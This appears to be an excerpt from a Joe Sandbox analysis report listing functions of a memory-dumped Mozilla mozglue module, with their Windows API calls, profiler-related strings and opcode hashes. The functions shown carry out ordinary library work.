API String ID: 2022606265-3627248493
Opcode ID: 612058c565d8dfe11c540b5902d1cd7536720848508e5d75adec41c70616758b
Instruction ID: d594ebf5c017ad84969949760074e3346eb62c1911bd824dcd8f8cdc33fefaa0
Opcode Fuzzy Hash: 612058c565d8dfe11c540b5902d1cd7536720848508e5d75adec41c70616758b
Instruction Fuzzy Hash: 94E12732B045068FCB18CE6CC8919A6BBE6EF99310B19866DE855DF396D734ED01C7D0

Function 6BF953C8 Relevance: 6.6, APIs: 5, Instructions: 310COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6BF986AE

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction ID: 2450b67a8249e82b395b8187dc193ec40c7bd044522732cf7a7ff8a644e62ac6
Opcode Fuzzy Hash: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction Fuzzy Hash: 7EC1E373A0021A8FDB14CF68CC81BEDB7B2EF85314F1542A9C949EB355D734A989CB90

Function 6BF9545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6BF98A4B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6fde7e782439e820f68bb37ab2f4e2d098ecb3ca5db2bfc77d659a1e345e6c6d
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 5BB1F773E0021A8FEB24CF68DC91BE8B7B2EF95314F1542A9C549EB391D7349985CB90

Function 6BF9542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6BF988F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6BF9925C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 68f8b9a3c3cd990b5dfc7c61426f91f1764d39581eb340b9719da459f0006860
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 86B1C373E0420A8FDB14CF68DC816EDB7B2AF85310F1542A9C949EB395D734A999CB90

Function 6BF950C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6BF98E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6BF9925C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 3f189640bebd008396bf66c38004b05754150fdb8e1f3a0f82440d1d65d930bc
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 14A1F573E0021A8FDB14CF68CC817E9B7B2AF95310F1542B9C949EB395D734A999CB90

Function 6BF777A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF77A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF77A93

Part of subcall function 6BF45C50: GetTickCount64.KERNEL32 ref: 6BF45D40
Part of subcall function 6BF45C50: EnterCriticalSection.KERNEL32(6BFAF688), ref: 6BF45D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BF77AA1

Part of subcall function 6BF45C50: __aulldiv.LIBCMT ref: 6BF45DB4
Part of subcall function 6BF45C50: LeaveCriticalSection.KERNEL32(6BFAF688), ref: 6BF45DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6BF77B31

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: c19662d7fa86d26e8c1d00976d545b00788a6a095ab93287c53c9c52c9c42ca2
Instruction ID: 0a6bac04dcd890ea89cf0e248f3ab038cf73eed2c1e87eaf38c3367abd8d159f
Opcode Fuzzy Hash: c19662d7fa86d26e8c1d00976d545b00788a6a095ab93287c53c9c52c9c42ca2
Instruction Fuzzy Hash: 33B1DF366183818BDB24DF24D04065FF7E2BFC9314F1549AEE995673A0CB78E906CB82

Function 6BF8B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6BF8B720
RtlNtStatusToDosError.NTDLL ref: 6BF8B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6BF5FE3F,00000000,00000000,?,?,00000000,?,6BF5FE3F), ref: 6BF8B760

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: c87c7236bc7bc5ae09e194be55af177db7230cf8ba835edcb3fe1342b66ef5c7
Instruction ID: a251b6fe8d2f8afb17fa34d939e166a204fff987333e43e6ede36fd4a69bd015
Opcode Fuzzy Hash: c87c7236bc7bc5ae09e194be55af177db7230cf8ba835edcb3fe1342b66ef5c7
Instruction Fuzzy Hash: 61F0AFB290430DAEEF019BA49C85BEEBBBC9B04319F00456AE511610E1D77995C8C664

Function 6BF8B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BF303D4,?), ref: 6BF8B955
NtQueryVirtualMemory.NTDLL ref: 6BF8B9A5

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d3b4145db25ec7fbfe866c119066490eb0486a49dce0c06d25d3b1588a483148
Instruction ID: 22d39b305900db9c4ca779aa230df9083865946556b7bc6f4941a6bb0e9308f1
Opcode Fuzzy Hash: d3b4145db25ec7fbfe866c119066490eb0486a49dce0c06d25d3b1588a483148
Instruction Fuzzy Hash: 3D41E872F0021DDFDF04CFA8D881ADEB7B6EF88314F10812AE815A7325DB3598458B90

Function 6BF6CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6BF3582D), ref: 6BF6CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6BF3582D), ref: 6BF6CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6BF9FE98,?,?,?,?,?,6BF3582D), ref: 6BF6CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6BF3582D), ref: 6BF6CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6BF3582D), ref: 6BF6CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6BF3582D), ref: 6BF6CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6BF3582D), ref: 6BF6CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6BF6CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6BF6CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6BF6CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6BF6CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6BF6CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6BF6CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6BF6CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6BF6CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6BF6CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6BF6CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6BF6CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6BF6CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6BF6CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6BF6CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6BF6CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6BF6CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6BF6CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6BF6CE8A

Strings

markersallthreads, xrefs: 6BF6CE42
nostacksampling, xrefs: 6BF6CD7C
ipcmessages, xrefs: 6BF6CDBE
seqstyle, xrefs: 6BF6CCE6
mainthreadio, xrefs: 6BF6CC7C
cpuallthreads, xrefs: 6BF6CE16
power, xrefs: 6BF6CE84
unregisteredthreads, xrefs: 6BF6CE58
stackwalk, xrefs: 6BF6CCF8
notimerresolutionchange, xrefs: 6BF6CE00
fileioall, xrefs: 6BF6CCA8
noiostacks, xrefs: 6BF6CCBE
jsallocations, xrefs: 6BF6CD0E
samplingallthreads, xrefs: 6BF6CE2C
audiocallbacktracing, xrefs: 6BF6CDD4
processcpu, xrefs: 6BF6CE6E
nativeallocations, xrefs: 6BF6CDA8
java, xrefs: 6BF6CC37
fileio, xrefs: 6BF6CC92
screenshots, xrefs: 6BF6CCD4
preferencereads, xrefs: 6BF6CD92
Unrecognized feature "%s"., xrefs: 6BF6CEA0
leaf, xrefs: 6BF6CC66
default, xrefs: 6BF6CC21

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: d8a5a7619a84106e27cb2e83b140a4684088411ec0300f3adeb52f97dd2febf9
Instruction ID: e166286f897d487c77c3d9ca6470da8399ca1c84380483fb15487c9a02acfdf7
Opcode Fuzzy Hash: d8a5a7619a84106e27cb2e83b140a4684088411ec0300f3adeb52f97dd2febf9
Instruction Fuzzy Hash: 245197D3A4821653FE0421357E21F6A3449DF537C6F40413AEEADA11B0FF0EAA2586B7

Function 6BF347C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6BF34801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF34817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF3482D
__Init_thread_footer.LIBCMT ref: 6BF3484A

Part of subcall function 6BF5AB3F: EnterCriticalSection.KERNEL32(6BFAE370,?,?,6BF23527,6BFAF6CC,?,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB49
Part of subcall function 6BF5AB3F: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF23527,6BFAF6CC,?,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5AB7C

GetCurrentThreadId.KERNEL32 ref: 6BF3485F
GetCurrentThreadId.KERNEL32 ref: 6BF3487E
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF3488B
free.MOZGLUE(?), ref: 6BF3493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF34956
free.MOZGLUE(00000000), ref: 6BF34960
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF3499A

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

free.MOZGLUE(?), ref: 6BF349C6
free.MOZGLUE(?), ref: 6BF349E9

Part of subcall function 6BF45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF45EDB
Part of subcall function 6BF45E90: memset.VCRUNTIME140(6BF87765,000000E5,55CCCCCC), ref: 6BF45F27
Part of subcall function 6BF45E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF45FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6BF34A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6BF34828
MOZ_PROFILER_SHUTDOWN, xrefs: 6BF34A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6BF347FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6BF34812

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: e606de02eb4349394295b3e8eb3f837506fe52e33b9b3a53ff42bd8b0ab8da90
Instruction ID: b6e58a672fe852c5228e23e5a7c66f419434c3692ba0d68d46d79b6caeaeb072
Opcode Fuzzy Hash: e606de02eb4349394295b3e8eb3f837506fe52e33b9b3a53ff42bd8b0ab8da90
Instruction Fuzzy Hash: 6281EF73910121CBDB18DF68C89471E77A5BF42328F140169D916DB3B2E73AE958CBE2

Function 6BF319A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BFAF760), ref: 6BF319BD
GetCurrentProcess.KERNEL32 ref: 6BF319E5
GetLastError.KERNEL32 ref: 6BF31A27
moz_xmalloc.MOZGLUE(?), ref: 6BF31A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BF31A4F
GetLastError.KERNEL32 ref: 6BF31A92
moz_xmalloc.MOZGLUE(?), ref: 6BF31AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BF31ABA
LocalFree.KERNEL32(?), ref: 6BF31C69
free.MOZGLUE(?), ref: 6BF31C8F
free.MOZGLUE(?), ref: 6BF31C9D
CloseHandle.KERNEL32(?), ref: 6BF31CAE
ReleaseSRWLockExclusive.KERNEL32(6BFAF760), ref: 6BF31D52
GetLastError.KERNEL32 ref: 6BF31DA5
GetLastError.KERNEL32 ref: 6BF31DFB
GetLastError.KERNEL32 ref: 6BF31E49
GetLastError.KERNEL32 ref: 6BF31E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF31E9B

Part of subcall function 6BF32070: LoadLibraryW.KERNEL32(combase.dll,6BF31C5F), ref: 6BF320AE
Part of subcall function 6BF32070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6BF320CD
Part of subcall function 6BF32070: __Init_thread_footer.LIBCMT ref: 6BF320E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6BF31F15
VerSetConditionMask.NTDLL ref: 6BF31F46
VerSetConditionMask.NTDLL ref: 6BF31F52
VerSetConditionMask.NTDLL ref: 6BF31F59
VerSetConditionMask.NTDLL ref: 6BF31F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF31F6D

Strings

D, xrefs: 6BF31B57

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 187fbf0f756df3e74da67e5283c41f0819674b1fb10c0e6b23c4953bb77209cb
Instruction ID: 904e6a0563a77f105dd72cdbc71f311f01498151ef5c07dad623a1cb5135a428
Opcode Fuzzy Hash: 187fbf0f756df3e74da67e5283c41f0819674b1fb10c0e6b23c4953bb77209cb
Instruction Fuzzy Hash: 16F17072D10335ABEB209F25CD88B9AB7B8FF49700F104195E905A7261D778EE94CFA0

Function 6BF34470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF34730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6BF344B2,6BFAE21C,6BFAF7F8), ref: 6BF3473E
Part of subcall function 6BF34730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6BF3474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6BF344BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6BF344D2
InitOnceExecuteOnce.KERNEL32(6BFAF80C,6BF2F240,?,?), ref: 6BF3451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6BF3455C
LoadLibraryW.KERNEL32(?), ref: 6BF34592
InitializeCriticalSection.KERNEL32(6BFAF770), ref: 6BF345A2
moz_xmalloc.MOZGLUE(00000008), ref: 6BF345AA
moz_xmalloc.MOZGLUE(00000018), ref: 6BF345BB
InitOnceExecuteOnce.KERNEL32(6BFAF818,6BF2F240,?,?), ref: 6BF34612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6BF34636
LoadLibraryW.KERNEL32(user32.dll), ref: 6BF34644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6BF3466D
VerSetConditionMask.NTDLL ref: 6BF3469F
VerSetConditionMask.NTDLL ref: 6BF346AB
VerSetConditionMask.NTDLL ref: 6BF346B2
VerSetConditionMask.NTDLL ref: 6BF346B9
VerSetConditionMask.NTDLL ref: 6BF346C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6BF346CD
GetModuleHandleW.KERNEL32(00000000), ref: 6BF346F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6BF346FD

Strings

user32.dll, xrefs: 6BF34557, 6BF3463F
WRusr.dll, xrefs: 6BF344B5
NativeNtBlockSet_Write, xrefs: 6BF346F7
l, xrefs: 6BF34578
kernel32.dll, xrefs: 6BF344CD

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: e36aa1054f3bfa5581777fcdb66a4e1bc771ce5a8a2c4ae5f18249e0e9282ff6
Instruction ID: 603b78fd129e060569871214948ae10d6dea5d5c24faec6f4af6e38bacb203b3
Opcode Fuzzy Hash: e36aa1054f3bfa5581777fcdb66a4e1bc771ce5a8a2c4ae5f18249e0e9282ff6
Instruction Fuzzy Hash: BB61D6B2910258DFEB589F60DC45B9DBBB8EF46704F008499E504DB272D77AD988CBA0

Function 6BF4BB80 Relevance: 37.1, APIs: 17, Strings: 4, Instructions: 388stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(00000000,0000002E), ref: 6BF4BC5A
strchr.VCRUNTIME140(00000001,0000002E), ref: 6BF4BC6E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(accelerator.dll,?), ref: 6BF4BC9E
memset.VCRUNTIME140(?,00000000,00000110), ref: 6BF4BE33
VerSetConditionMask.NTDLL ref: 6BF4BE65
VerSetConditionMask.NTDLL ref: 6BF4BE71
VerSetConditionMask.NTDLL ref: 6BF4BE7D
VerSetConditionMask.NTDLL ref: 6BF4BE89
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF4BE97
memset.VCRUNTIME140(?,00000000,00000110), ref: 6BF4BEE4
VerSetConditionMask.NTDLL ref: 6BF4BF15
VerSetConditionMask.NTDLL ref: 6BF4BF21
VerSetConditionMask.NTDLL ref: 6BF4BF2D
VerSetConditionMask.NTDLL ref: 6BF4BF39
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF4BF47

Part of subcall function 6BF8AAE0: GetCurrentThreadId.KERNEL32 ref: 6BF8AAF8
Part of subcall function 6BF8AAE0: EnterCriticalSection.KERNEL32(6BFAF770,?,6BF4BF9F), ref: 6BF8AB08
Part of subcall function 6BF8AAE0: LeaveCriticalSection.KERNEL32(6BFAF770,?,?,?,?,?,?,?,?,6BF4BF9F), ref: 6BF8AB6B

free.MOZGLUE(00000000), ref: 6BF4BFF0
_strtoui64.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000010), ref: 6BF4C014

Part of subcall function 6BF8AC20: CreateFileW.KERNEL32 ref: 6BF8AC52
Part of subcall function 6BF8AC20: CreateFileMappingW.KERNEL32 ref: 6BF8AC7D
Part of subcall function 6BF8AC20: GetSystemInfo.KERNEL32 ref: 6BF8AC98
Part of subcall function 6BF8AC20: MapViewOfFile.KERNEL32 ref: 6BF8ACB0
Part of subcall function 6BF8AC20: GetSystemInfo.KERNEL32 ref: 6BF8ACCD
Part of subcall function 6BF8AC20: MapViewOfFile.KERNEL32 ref: 6BF8AD05
Part of subcall function 6BF8AC20: UnmapViewOfFile.KERNEL32 ref: 6BF8AD1C
